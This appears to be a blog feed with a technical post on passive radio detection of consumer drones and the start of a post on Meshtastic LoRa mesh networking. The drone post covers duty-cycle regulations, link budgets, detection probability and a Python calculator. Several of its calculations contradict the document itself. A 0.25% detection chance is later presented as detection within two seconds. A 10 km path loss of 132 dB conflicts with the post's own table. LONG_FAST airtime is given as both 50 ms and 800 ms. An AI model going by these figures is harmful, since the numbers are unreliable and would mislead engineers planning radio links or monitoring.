<p>In practice, modern FHSS control links at 868 MHz transmit in very short bursts — a 64-byte packet at 50 kbps occupies only ~10 ms. At 25 Hz (25 packets/second), the instantaneous duty cycle is 25%. This violates the 1% limit; in practice the firmware manages duty cycle by switching to a lower packet rate or hopping to the higher-duty-cycle sub-band, or more commonly by simply operating in the US 915 MHz band (no duty cycle restriction under FCC Part 15) for international products.</p>

<p><strong>The 2.4 GHz ISM band</strong> (2.400–2.4835 GHz) has no duty cycle restriction under ETSI EN 300 328 — it uses a CSMA/CA listen-before-talk requirement instead. DJI OcuSync, ExpressLRS at 2.4 GHz, and similar systems can therefore transmit continuously, subject only to channel access arbitration. This is the dominant control link for consumer drones and the reason 2.4 GHz is the more reliably detectable band: the link is almost always on when the drone is powered.</p>

<p><strong>The 5.8 GHz band</strong> (5.725–5.875 GHz), used for analog and digital FPV video, also operates under ETSI EN 302 502 listen-before-talk with no explicit duty cycle limit. Analog FPV transmitters broadcast continuously whenever powered — the transmitter is on from power-up to power-down regardless of flight state.</p>

<p><strong>EU Remote ID</strong> (in force January 2024 under EU 2019/947) requires broadcast at minimum 1 Hz on 2.4 GHz. This is an unconditional beacon that is on-air during the entire flight — a continuous detection opportunity on 2.4 GHz regardless of what the control link is doing.</p>

<hr />

<h2 id="link-budget--the-geometry-of-detection">Link budget — the geometry of detection</h2>

<p>Before asking how often a drone transmits, we need to know from what range the transmitted signal is receivable. The Friis free-space path loss formula:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>FSPL (dB) = 20·log₁₀(d) + 20·log₁₀(f) + 20·log₁₀(4π/c)
</code></pre></div></div>

<p>where <code class="language-plaintext highlighter-rouge">d</code> is distance in metres and <code class="language-plaintext highlighter-rouge">f</code> is frequency in Hz. At specific distances:</p>

<table>
  <thead>
    <tr>
      <th>Distance</th>
      <th>FSPL at 868 MHz</th>
      <th>FSPL at 2.4 GHz</th>
      <th>FSPL at 5.8 GHz</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>100 m</td>
      <td>71.2 dB</td>
      <td>80.1 dB</td>
      <td>87.7 dB</td>
    </tr>
    <tr>
      <td>500 m</td>
      <td>85.4 dB</td>
      <td>94.1 dB</td>
      <td>101.7 dB</td>
    </tr>
    <tr>
      <td>1 km</td>
      <td>91.4 dB</td>
      <td>100.1 dB</td>
      <td>107.7 dB</td>
    </tr>
    <tr>
      <td>2 km</td>
      <td>97.4 dB</td>
      <td>106.1 dB</td>
      <td>113.7 dB</td>
    </tr>
    <tr>
      <td>5 km</td>
      <td>105.2 dB</td>
      <td>114.0 dB</td>
      <td>121.5 dB</td>
    </tr>
  </tbody>
</table>

<p>The <strong>detection link budget</strong> for a passive receiver:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Received power (dBm) = Tx power (dBm)
                     + Tx antenna gain (dBi)
                     − FSPL (dB)
                     + Rx antenna gain (dBi)
                     − Cable/connector loss (dB)

Detection condition: Received power ≥ Rx sensitivity (dBm)
</code></pre></div></div>

<p>Worked example — DJI Mini 3 Pro control link at 2.4 GHz, passive receiver with a simple dipole:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Tx power (DJI OcuSync 3, typical):  +20 dBm (100 mW)
Tx antenna gain (drone, printed):    +2 dBi
FSPL at 1 km, 2.4 GHz:             −100.2 dB
Rx antenna gain (dipole):           +2 dBi
Cable loss (2m RG58):               −1 dB

Received power = 20 + 2 − 100.2 + 2 − 1 = −77.2 dBm
</code></pre></div></div>

<p>RTL-SDR V3 noise figure ≈ 3.5 dB, noise floor at 1 MHz bandwidth:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Noise floor = −174 dBm/Hz + 10·log₁₀(1×10⁶ Hz) + 3.5 dB = −110.5 dBm
</code></pre></div></div>

<p>Signal-to-noise ratio at 1 km: <code class="language-plaintext highlighter-rouge">−77.2 − (−110.5) = +33.3 dB</code>. Very comfortably detectable. The detection limit (SNR = 0 dB) is reached when received power equals the noise floor:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Maximum detection range (dipole, RTL-SDR):
d_max: −77.2 − 33.3 = −110.5 dBm → received power = noise floor at d_max

10 dB SNR threshold: 20 + 2 − FSPL + 2 − 1 = −100.5
FSPL_max = 123.5 dB
→ d = 10^((123.5 + 147.55 − 20·log₁₀(2.4×10⁹)) / 20) ≈ 14.8 km
</code></pre></div></div>

<p><strong>Theoretical free-space detection range for the DJI Mini 3 Pro with a dipole and RTL-SDR is approximately 15 km.</strong> In practice, urban clutter, multipath, terrain, and the drone’s antenna orientation (pattern nulls) reduce this dramatically — typical real-world detection in urban environments is 500m–3km. But the link budget confirms that geometry is not the binding constraint for most consumer drone scenarios.</p>

<h3 id="how-antenna-gain-changes-the-picture">How antenna gain changes the picture</h3>

<p>Replacing the dipole with a 10 dBi patch antenna pointed at the target:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Received power at 1 km = 20 + 2 − 100.2 + 10 − 0.5 = −68.7 dBm
SNR = −68.7 − (−110.5) = +41.8 dB
Detection limit ≈ 10^((141.8 − 97.4) / 20) ≈ 53 km (free-space)
</code></pre></div></div>

<p>For a fixed monitoring station with a directional antenna at elevation, the primary constraint shifts from link budget to terrain horizon. The detection range is limited by how far the drone is below the optical horizon, not by received signal strength.</p>

<hr />

<h2 id="duty-cycle-and-detection-probability--the-quantitative-model">Duty cycle and detection probability — the quantitative model</h2>

<p>Given that the drone is within range (link budget satisfied), the question becomes: what is the probability of detecting it within a given observation window?</p>

<p>Define:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">δ</code> = duty cycle of the drone’s transmissions (fraction: 0 to 1)</li>
  <li><code class="language-plaintext highlighter-rouge">τ_pkt</code> = duration of one transmitted packet (seconds)</li>
  <li><code class="language-plaintext highlighter-rouge">f_tx</code> = packet transmission rate (packets/second), so <code class="language-plaintext highlighter-rouge">δ = f_tx × τ_pkt</code></li>
  <li><code class="language-plaintext highlighter-rouge">T_obs</code> = observation window duration (seconds)</li>
  <li><code class="language-plaintext highlighter-rouge">N</code> = number of packets transmitted in <code class="language-plaintext highlighter-rouge">T_obs</code> = <code class="language-plaintext highlighter-rouge">f_tx × T_obs</code></li>
</ul>

<p>For a simple energy detector (monitoring a frequency channel for signal above threshold), the <strong>probability of at least one detection</strong> in <code class="language-plaintext highlighter-rouge">T_obs</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>P(detect ≥ 1) = 1 − (1 − δ)^N ≈ 1 − e^(−δ × f_tx × T_obs)
</code></pre></div></div>

<p>For a swept receiver or scanning system that spends fraction <code class="language-plaintext highlighter-rouge">s</code> of its time monitoring the target channel:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>P(detect ≥ 1) = 1 − e^(−δ × s × f_tx × T_obs)
</code></pre></div></div>

<h3 id="numerical-examples">Numerical examples</h3>

<p><strong>Case 1: DJI RemoteID beacon at 2.4 GHz, 1 Hz broadcast rate</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">τ_pkt</code> ≈ 0.5 ms (typical DroneID packet)</li>
  <li><code class="language-plaintext highlighter-rouge">δ = 1 × 0.0005 = 0.05%</code> (below any regulatory limit)</li>
  <li><code class="language-plaintext highlighter-rouge">f_tx = 1</code> packet/second</li>
  <li><code class="language-plaintext highlighter-rouge">T_obs = 5</code> seconds, <code class="language-plaintext highlighter-rouge">s = 1</code> (dedicated receiver)</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>P(detect) = 1 − e^(−0.0005 × 1 × 5) = 1 − e^(−0.0025) ≈ 0.25%
</code></pre></div></div>

<p>One beacon packet in 5 seconds has only a 0.25% chance of falling within a 5-second scan window — because the packet occupies only 0.05% of that window. However, if the receiver is continuously monitoring the single channel (not scanning):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>P(detect) in 5 s = 1 − (1 − 0.0005)^5 ≈ 0.25% still
</code></pre></div></div>

<p>But over 60 seconds: <code class="language-plaintext highlighter-rouge">P = 1 − e^(−0.0005 × 1 × 60) ≈ 3%</code>. Over 10 minutes: <code class="language-plaintext highlighter-rouge">P ≈ 26%</code>.</p>

<p>The correct metric for a 1 Hz beacon is <strong>expected time to first detection</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>E[T_first] = 1 / f_tx = 1 second (if continuously monitoring)
</code></pre></div></div>

<p>A dedicated monitor will see the first RemoteID beacon within 1–2 seconds on average. The 1% duty cycle of the packet itself is irrelevant — what matters is the 1 Hz broadcast <em>rate</em>. Detection is fast.</p>

<p><strong>Case 2: ExpressLRS 868 MHz at 100 Hz packet rate, 1% duty cycle sub-band</strong></p>
<ul>
  <li>Packet rate: 100 Hz (100 packets/second)</li>
  <li><code class="language-plaintext highlighter-rouge">τ_pkt</code> = duty_cycle / f_tx = 0.01 / 100 = 0.1 ms</li>
  <li>Observation window: 1 second, s = 1</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>P(detect ≥ 1) = 1 − e^(−0.01 × 100 × 1) = 1 − e^(−1) ≈ 63%
</code></pre></div></div>

<p>Over 3 seconds: <code class="language-plaintext highlighter-rouge">P ≈ 95%</code>. A 100 Hz ELRS link at 1% duty cycle on 868 MHz is highly detectable within a few seconds on a dedicated receiver.</p>

<p><strong>Case 3: Scanning receiver covering 100 MHz of spectrum at 868 MHz</strong>
A wideband scan dwell time of 1 ms per 200 kHz channel, covering 500 channels → full sweep period = 500 ms. Fraction of time on target channel: <code class="language-plaintext highlighter-rouge">s = 0.001 / 0.5 = 0.2%</code>.</p>

<p>At 100 Hz ELRS (same as Case 2):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>P(detect in 1 s) = 1 − e^(−0.01 × 0.002 × 100 × 1) = 1 − e^(−0.002) ≈ 0.2%
</code></pre></div></div>

<p>A scanning receiver is roughly 500× less likely to catch a given packet than a dedicated narrowband receiver on the target channel. Over 60 seconds: <code class="language-plaintext highlighter-rouge">P ≈ 11%</code>. Wideband scanning is a poor strategy for low-duty-cycle or narrow-bandwidth targets.</p>

<hr />

<h2 id="the-duty-cycle-constraint-as-an-evasion-mechanism">The duty cycle constraint as an evasion mechanism</h2>

<p>The regulatory duty cycle limit has an inadvertent detection implication: a transmitter operating at exactly its maximum duty cycle is producing the most detectable signal permitted by law. A transmitter operating at <em>lower</em> duty cycle — fewer packets, or shorter packets — is less detectable over any given observation window.</p>

<p>The tension for drone designers: high update rate improves control responsiveness and telemetry resolution; low update rate reduces regulatory exposure and passive detectability. FHSS systems such as FrSky ACCESS, Futaba FHSS-S, and ExpressLRS hop frequency between packets, distributing transmit time across many channels. For a passive receiver fixed on one channel, the effective duty cycle is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>δ_effective = δ_total / N_channels
</code></pre></div></div>

<p>At 100-channel hopping and 1% total duty cycle: <code class="language-plaintext highlighter-rouge">δ_effective = 0.01%</code> per channel. A narrowband receiver on a single channel sees only 1 packet per 10,000 packets total. This is the link budget challenge for passive detection of frequency-hopping control links — it’s addressed in the 900 MHz propagation post.</p>

<hr />

<h2 id="practical-monitoring--frequency-allocation-strategy">Practical monitoring — frequency allocation strategy</h2>

<p>For a passive monitoring station, the choice of monitored band depends on which transmissions are legally constrained to be present:</p>

<p><strong>Always-on during flight:</strong></p>
<ul>
  <li>2.4 GHz RemoteID beacon (1 Hz minimum, EU mandate since January 2024) — guaranteed presence on 2.4 GHz while flying</li>
  <li>5.8 GHz analog FPV video (if used) — continuous carrier while powered, no duty cycle restriction</li>
</ul>

<p><strong>Intermittent:</strong></p>
<ul>
  <li>868 MHz ELRS control link — present at up to 100 Hz but 1% duty cycle per sub-band; FHSS makes individual channel monitoring inefficient</li>
  <li>915 MHz ELRS (US) — no duty cycle restriction, 50–200 Hz packet rate; not in EU</li>
  <li>2.4 GHz ELRS/OcuSync control link — no duty cycle limit; most consistently detectable after Remote ID</li>
</ul>

<p><strong>Monitoring strategy for EU deployment:</strong></p>
<ol>
  <li>Dedicate one SDR to 2.4 GHz, fixed on 2.437 GHz (the default OcuSync/DroneID channel) — this catches RemoteID reliably within 1–2 seconds of drone activation</li>
  <li>Dedicate a second SDR to 5.8 GHz sweeping Raceband channels — catches analog FPV video carriers continuously</li>
  <li>Use a wideband SDR for 863–870 MHz energy monitoring — catches 868 MHz control links opportunistically; accept lower per-channel detection probability in exchange for band coverage</li>
</ol>

<p>This three-receiver configuration gives continuous coverage of the two always-on transmission types plus opportunistic detection of the hopping control link.</p>

<hr />

<h2 id="python--duty-cycle-and-detection-probability-calculator">Python — duty cycle and detection probability calculator</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="n">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>

<span class="k">def</span> <span class="nf">detection_probability</span><span class="p">(</span><span class="n">f_tx</span><span class="p">,</span> <span class="n">tau_pkt</span><span class="p">,</span> <span class="n">T_obs</span><span class="p">,</span> <span class="n">s</span><span class="o">=</span><span class="mf">1.0</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">
    Probability of detecting at least one packet in observation window T_obs.
    
    f_tx:   packet transmission rate (Hz)
    tau_pkt: packet duration (seconds)
    T_obs:   observation window (seconds)
    s:       fraction of time receiver is monitoring this channel (0-1)
    </span><span class="sh">"""</span>
    <span class="n">delta</span> <span class="o">=</span> <span class="n">f_tx</span> <span class="o">*</span> <span class="n">tau_pkt</span>          <span class="c1"># duty cycle
</span>    <span class="n">lam</span>   <span class="o">=</span> <span class="n">delta</span> <span class="o">*</span> <span class="n">s</span> <span class="o">*</span> <span class="n">T_obs</span> <span class="o">/</span> <span class="n">tau_pkt</span> <span class="o">*</span> <span class="n">tau_pkt</span>  <span class="c1"># Poisson rate simplification
</span>    <span class="c1"># P(detect &gt;= 1) = 1 - P(no detect)
</span>    <span class="c1"># Each packet detected with prob s (receiver on channel during packet)
</span>    <span class="c1"># N packets in T_obs: N = f_tx * T_obs
</span>    <span class="n">N</span> <span class="o">=</span> <span class="n">f_tx</span> <span class="o">*</span> <span class="n">T_obs</span>
    <span class="n">p_miss_one</span> <span class="o">=</span> <span class="mi">1</span> <span class="o">-</span> <span class="n">s</span> <span class="o">*</span> <span class="n">tau_pkt</span> <span class="o">/</span> <span class="p">(</span><span class="mi">1</span><span class="o">/</span><span class="n">f_tx</span><span class="p">)</span>   <span class="c1"># prob of missing one packet
</span>    <span class="n">p_detect</span> <span class="o">=</span> <span class="mi">1</span> <span class="o">-</span> <span class="n">p_miss_one</span><span class="o">**</span><span class="n">N</span>
    <span class="k">return</span> <span class="n">p_detect</span><span class="p">,</span> <span class="n">delta</span>

<span class="c1"># Scenario comparison
</span><span class="n">scenarios</span> <span class="o">=</span> <span class="p">{</span>
    <span class="sh">"</span><span class="s">RemoteID 1 Hz (dedicated Rx)</span><span class="sh">"</span><span class="p">:</span>    <span class="p">(</span><span class="mi">1</span><span class="p">,</span>    <span class="mf">0.5e-3</span><span class="p">,</span> <span class="mf">1.0</span><span class="p">),</span>
    <span class="sh">"</span><span class="s">ELRS 868 MHz 100 Hz (dedicated)</span><span class="sh">"</span><span class="p">:</span> <span class="p">(</span><span class="mi">100</span><span class="p">,</span>  <span class="mf">0.1e-3</span><span class="p">,</span> <span class="mf">1.0</span><span class="p">),</span>
    <span class="sh">"</span><span class="s">ELRS 868 MHz 100 Hz (scan, s=0.002)</span><span class="sh">"</span><span class="p">:</span> <span class="p">(</span><span class="mi">100</span><span class="p">,</span> <span class="mf">0.1e-3</span><span class="p">,</span> <span class="mf">0.002</span><span class="p">),</span>
    <span class="sh">"</span><span class="s">OcuSync 25 Hz (dedicated)</span><span class="sh">"</span><span class="p">:</span>       <span class="p">(</span><span class="mi">25</span><span class="p">,</span>   <span class="mf">5e-3</span><span class="p">,</span>  <span class="mf">1.0</span><span class="p">),</span>
<span class="p">}</span>

<span class="n">T_range</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">linspace</span><span class="p">(</span><span class="mf">0.1</span><span class="p">,</span> <span class="mi">60</span><span class="p">,</span> <span class="mi">300</span><span class="p">)</span>

<span class="n">fig</span><span class="p">,</span> <span class="n">ax</span> <span class="o">=</span> <span class="n">plt</span><span class="p">.</span><span class="nf">subplots</span><span class="p">(</span><span class="n">figsize</span><span class="o">=</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">6</span><span class="p">))</span>
<span class="k">for</span> <span class="n">label</span><span class="p">,</span> <span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">tau</span><span class="p">,</span> <span class="n">s</span><span class="p">)</span> <span class="ow">in</span> <span class="n">scenarios</span><span class="p">.</span><span class="nf">items</span><span class="p">():</span>
    <span class="n">probs</span> <span class="o">=</span> <span class="p">[</span><span class="nf">detection_probability</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">tau</span><span class="p">,</span> <span class="n">T</span><span class="p">,</span> <span class="n">s</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">T</span> <span class="ow">in</span> <span class="n">T_range</span><span class="p">]</span>
    <span class="n">ax</span><span class="p">.</span><span class="nf">plot</span><span class="p">(</span><span class="n">T_range</span><span class="p">,</span> <span class="n">probs</span><span class="p">,</span> <span class="n">label</span><span class="o">=</span><span class="n">label</span><span class="p">)</span>

<span class="n">ax</span><span class="p">.</span><span class="nf">set_xlabel</span><span class="p">(</span><span class="sh">"</span><span class="s">Observation window (seconds)</span><span class="sh">"</span><span class="p">)</span>
<span class="n">ax</span><span class="p">.</span><span class="nf">set_ylabel</span><span class="p">(</span><span class="sh">"</span><span class="s">P(at least one detection)</span><span class="sh">"</span><span class="p">)</span>
<span class="n">ax</span><span class="p">.</span><span class="nf">set_title</span><span class="p">(</span><span class="sh">"</span><span class="s">Detection probability vs. observation time by transmission mode</span><span class="sh">"</span><span class="p">)</span>
<span class="n">ax</span><span class="p">.</span><span class="nf">legend</span><span class="p">()</span>
<span class="n">ax</span><span class="p">.</span><span class="nf">grid</span><span class="p">(</span><span class="bp">True</span><span class="p">,</span> <span class="n">alpha</span><span class="o">=</span><span class="mf">0.3</span><span class="p">)</span>
<span class="n">ax</span><span class="p">.</span><span class="nf">axhline</span><span class="p">(</span><span class="mf">0.9</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="sh">'</span><span class="s">gray</span><span class="sh">'</span><span class="p">,</span> <span class="n">linestyle</span><span class="o">=</span><span class="sh">'</span><span class="s">--</span><span class="sh">'</span><span class="p">,</span> <span class="n">alpha</span><span class="o">=</span><span class="mf">0.5</span><span class="p">,</span> <span class="n">label</span><span class="o">=</span><span class="sh">'</span><span class="s">90% threshold</span><span class="sh">'</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="nf">tight_layout</span><span class="p">()</span>
<span class="n">plt</span><span class="p">.</span><span class="nf">savefig</span><span class="p">(</span><span class="sh">"</span><span class="s">detection_probability.png</span><span class="sh">"</span><span class="p">,</span> <span class="n">dpi</span><span class="o">=</span><span class="mi">150</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="nf">show</span><span class="p">()</span>
</code></pre></div></div>

<hr />

<h2 id="summary--what-duty-cycle-regulation-implies-for-passive-detection">Summary — what duty cycle regulation implies for passive detection</h2>

<table>
  <thead>
    <tr>
      <th>Band</th>
      <th>Duty cycle limit</th>
      <th>Transmission type</th>
      <th>Detection time (dedicated Rx)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2.4 GHz</td>
      <td>None (CSMA/CA)</td>
      <td>Control link, RemoteID</td>
      <td>&lt; 2 s (RemoteID mandatory 1 Hz)</td>
    </tr>
    <tr>
      <td>5.8 GHz</td>
      <td>None (LBT)</td>
      <td>Analog FPV video</td>
      <td>Immediate (continuous carrier)</td>
    </tr>
    <tr>
      <td>868 MHz</td>
      <td>1%</td>
      <td>ELRS control link</td>
      <td>3–15 s (FHSS reduces per-channel)</td>
    </tr>
    <tr>
      <td>915 MHz (US)</td>
      <td>None</td>
      <td>ELRS control link</td>
      <td>&lt; 1 s at 100–200 Hz</td>
    </tr>
    <tr>
      <td>868 MHz 869.4</td>
      <td>10%</td>
      <td>Meshtastic, some telemetry</td>
      <td>&lt; 1 s</td>
    </tr>
  </tbody>
</table>

<p>The regulatory framework inadvertently structures the passive detection problem. The 1% duty cycle limit on 868 MHz control links, combined with FHSS, makes that band the hardest to reliably intercept. The mandatory 1 Hz RemoteID on 2.4 GHz and the continuous analog FPV carrier on 5.8 GHz are the most reliable detection opportunities — both because they are regulatory requirements and because they involve either high repetition rate or continuous transmission.</p>

<p>The signal processing implications of each band are the subject of the two posts that follow.</p>]]></content><author><name>Yumas Hankouri</name></author><category term="sigint" /><category term="drone-detection" /><category term="duty-cycle" /><category term="ETSI" /><category term="link-budget" /><category term="passive-monitoring" /><category term="ISM" /><category term="868MHz" /><category term="2.4GHz" /><category term="SDR" /><category term="probability" /><summary type="html"><![CDATA[ETSI and FCC duty cycle regulations directly constrain how often a drone's control link, telemetry, and remote ID beacon are on the air — which in turn determines how often a passive receiver can detect them. A quantitative treatment of the relationship between regulatory constraints, link budget, and detection probability.]]></summary></entry><entry><title type="html">Meshtastic and LoRa mesh networking: a technical deep-dive into off-grid emergency communications</title><link href="https://yumas.hankouri.com/posts/2025/03/08/meshtastic-lora-emergency-comms/" rel="alternate" type="text/html" title="Meshtastic and LoRa mesh networking: a technical deep-dive into off-grid emergency communications" /><published>2025-03-08T00:00:00+00:00</published><updated>2025-03-08T00:00:00+00:00</updated><id>https://yumas.hankouri.com/posts/2025/03/08/meshtastic-lora-emergency-comms</id><content type="html" xml:base="https://yumas.hankouri.com/posts/2025/03/08/meshtastic-lora-emergency-comms/"><![CDATA[<div class="layman-summary"><p>
Meshtastic turns cheap LoRa radio modules into a mesh network that works without any infrastructure — no cell towers, no internet, no central anything. Messages hop from node to node. This post covers how it actually works technically, and what a deployment intended to function when things go wrong needs beyond the basic setup.
</p></div>

<p>Meshtastic is an open-source LoRa mesh networking protocol and platform designed from the ground up for off-grid communication — infrastructure-independent, low-power, long-range, and encrypted. It runs on inexpensive commodity hardware (ESP32 and nRF52840-based development boards costing €20–60), uses the unlicensed ISM bands, and requires no internet connection, no cellular network, and no central servers to function.</p>

<p>The emergency communications use case is what makes it genuinely interesting from a signals and systems perspective. When cellular networks fail — in natural disasters, civil disruptions, or infrastructure blackouts — the ability to establish a self-organising mesh network from commodity hardware with no pre-existing infrastructure is a meaningful operational capability. Understanding exactly how that network works, where its limits are, and how to configure it well for field deployment requires going deeper than the getting-started documentation typically goes.</p>

<p>This is that deeper examination.</p>

<hr />

<h2 id="physical-layer--lora-css">Physical layer — LoRa CSS</h2>

<p>Meshtastic operates on top of LoRa (Long Range), a physical-layer modulation technique developed by Cycleo and acquired by Semtech in 2012. LoRa uses Chirp Spread Spectrum (CSS): data is encoded as the starting frequency of a chirp — a signal that sweeps continuously from a low to a high frequency (or vice versa) across the channel bandwidth. The starting frequency of each chirp encodes a symbol value. At SF7 the chirp sweeps 2⁷ = 128 discrete starting positions, encoding 7 bits per symbol.</p>

<p>The three critical LoRa parameters, all of which Meshtastic exposes through modem presets:</p>

<table>
  <thead>
    <tr>
      <th>Parameter</th>
      <th>Range</th>
      <th>Effect</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Spreading Factor (SF)</td>
      <td>7–12</td>
      <td>Higher → more range, less throughput, more airtime per packet</td>
    </tr>
    <tr>
      <td>Bandwidth (BW)</td>
      <td>62.5 / 125 / 250 / 500 kHz</td>
      <td>Wider → more throughput, less range, less sensitivity</td>
    </tr>
    <tr>
      <td>Coding Rate (CR)</td>
      <td>4/5 to 4/8</td>
      <td>Higher denominator → more redundancy, more airtime</td>
    </tr>
  </tbody>
</table>

<p><strong>Symbol duration</strong> is <code class="language-plaintext highlighter-rouge">T_s = 2^SF / BW</code>. At SF12, BW 125 kHz: <code class="language-plaintext highlighter-rouge">T_s = 4096 / 125000 ≈ 32.8 ms</code> per symbol. At SF7, BW 250 kHz: <code class="language-plaintext highlighter-rouge">T_s = 128 / 250000 ≈ 0.51 ms</code> per symbol. This is a 64-fold difference in symbol duration — and therefore in airtime per packet — between the two extremes. A 15-byte Meshtastic packet (text message) takes approximately 50 ms to transmit at LONG_FAST versus over 3 seconds at VERY_LONG_SLOW.</p>

<p><strong>Receive sensitivity</strong> improves with spreading factor due to processing gain: <code class="language-plaintext highlighter-rouge">PG_dB ≈ SF × 10·log₁₀(2) ≈ SF × 3.01 dB</code>. SF12 provides approximately 36 dB of processing gain, allowing decoding at SNRs down to approximately −20 dB — signals buried well below the apparent noise floor. This is why LoRa links work over distances that would be inconceivable with conventional narrowband modulation at the same power.</p>

<h3 id="link-budget-for-a-typical-eu-deployment">Link budget for a typical EU deployment</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Tx power (EU 868 MHz limit, RP sub-band): +14 dBm EIRP
Free-space path loss at 10 km, 868 MHz:  −132 dB
                                           [FSPL = 20·log₁₀(d) + 20·log₁₀(f) + 20·log₁₀(4π/c)]
Antenna gain (simple λ/4 whip, each end): +2 dBi
Rx sensitivity (SF12, SX1276 datasheet):  −137 dBm

Link margin = +14 − 132 + 2 + 2 − (−137) = +23 dB
</code></pre></div></div>

<p>A 23 dB link margin at 10 km explains why ranges in excess of 10 km are achievable in open terrain. In practice, urban and woodland environments reduce this to 2–8 km; dense urban below rooftop level often gives 500m–2 km. Fresnel zone clearance, antenna height, and local terrain dominate.</p>

<h3 id="modem-presets">Modem presets</h3>

<p>Meshtastic bundles all three LoRa parameters into named presets:</p>

<table>
  <thead>
    <tr>
      <th>Preset</th>
      <th>SF</th>
      <th>BW</th>
      <th>CR</th>
      <th>Approx. bitrate</th>
      <th>Tx time (15B payload)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>SHORT_FAST</td>
      <td>7</td>
      <td>250 kHz</td>
      <td>4/5</td>
      <td>~21,900 bps</td>
      <td>~50 ms</td>
    </tr>
    <tr>
      <td>SHORT_SLOW</td>
      <td>7</td>
      <td>125 kHz</td>
      <td>4/8</td>
      <td>~5,500 bps</td>
      <td>~200 ms</td>
    </tr>
    <tr>
      <td>MEDIUM_FAST</td>
      <td>8</td>
      <td>250 kHz</td>
      <td>4/5</td>
      <td>~10,900 bps</td>
      <td>~100 ms</td>
    </tr>
    <tr>
      <td>MEDIUM_SLOW</td>
      <td>8</td>
      <td>125 kHz</td>
      <td>4/8</td>
      <td>~2,700 bps</td>
      <td>~400 ms</td>
    </tr>
    <tr>
      <td><strong>LONG_FAST</strong> (default)</td>
      <td><strong>11</strong></td>
      <td><strong>250 kHz</strong></td>
      <td><strong>4/5</strong></td>
      <td><strong>~1,070 bps</strong></td>
      <td><strong>~800 ms</strong></td>
    </tr>
    <tr>
      <td>LONG_MODERATE</td>
      <td>11</td>
      <td>125 kHz</td>
      <td>4/8</td>
      <td>~267 bps</td>
      <td>~3.2 s</td>
    </tr>
    <tr>
      <td>LONG_SLOW</td>
      <td>12</td>
      <td>125 kHz</td>
      <td>4/8</td>
      <td>~183 bps</td>
      <td>~4.6 s</td>
    </tr>
    <tr>
      <td>VERY_LONG_SLOW</td>
      <td>12</td>
      <td>62.5 kHz</td>
      <td>4/8</td>
      <td>~91 bps</td>
      <td>~9+ s</td>
    </tr>
  </tbody>
</table>

<p>The default <code class="language-plaintext highlighter-rouge">LONG_FAST</code> (SF11, 250 kHz) balances range and throughput well for most scenarios. For emergency communications in dense urban terrain where range is critical, <code class="language-plaintext highlighter-rouge">LONG_SLOW</code> is worth considering. For large-event deployments with many nodes in close proximity — DEF CON 2024 used <code class="language-plaintext highlighter-rouge">SHORT_TURBO</code> at 500 kHz BW — throughput and collision avoidance become the priority.</p>

<p><strong>All nodes in a mesh must use identical SF, BW, and regional settings</strong> to decode each other’s transmissions. Nodes on different presets are invisible to each other.</p>

<h3 id="duty-cycle--the-eu-constraint">Duty cycle — the EU constraint</h3>

<p>In Europe, Meshtastic EU_868 operates in the 869.4–869.65 MHz sub-band, which permits 10% duty cycle and up to 500 mW EIRP under ETSI EN 300 220-2. A LONG_FAST packet (800 ms) consumes 8% of the 10-second window. At VERY_LONG_SLOW (9 s), a node can transmit at most once every 90 seconds while remaining compliant. The firmware enforces this limit; nodes that would exceed it queue transmissions.</p>

<p>This is the primary throughput ceiling for emergency communications in Europe, not routing capacity. A mesh handling heavy simultaneous traffic will spend most of its time duty-cycle limited.</p>

<hr />

<h2 id="protocol-stack--four-layers">Protocol stack — four layers</h2>

<p>The Meshtastic protocol is structured as four conceptual layers, documented in the official protocol specification. The design draws heavily from the RadioHead library and earlier amateur mesh networking work.</p>

<h3 id="layer-0--lora-physical">Layer 0 — LoRa physical</h3>

<p>Raw radio: chirp spread-spectrum transmission and reception, preamble detection, payload CRC, and FEC at the configured coding rate. Handled entirely by the SX1276 or SX1262 chipset in hardware.</p>

<p>CSMA/CA operates here: before transmitting, a node performs <strong>Channel Activity Detection</strong> (CAD) — a hardware function on Semtech’s SX127x/SX126x series that detects whether a LoRa preamble is present without demodulating a full packet. If the channel is busy, the node backs off by a random number of slot times drawn from a contention window (CW) whose size scales with observed channel utilisation.</p>

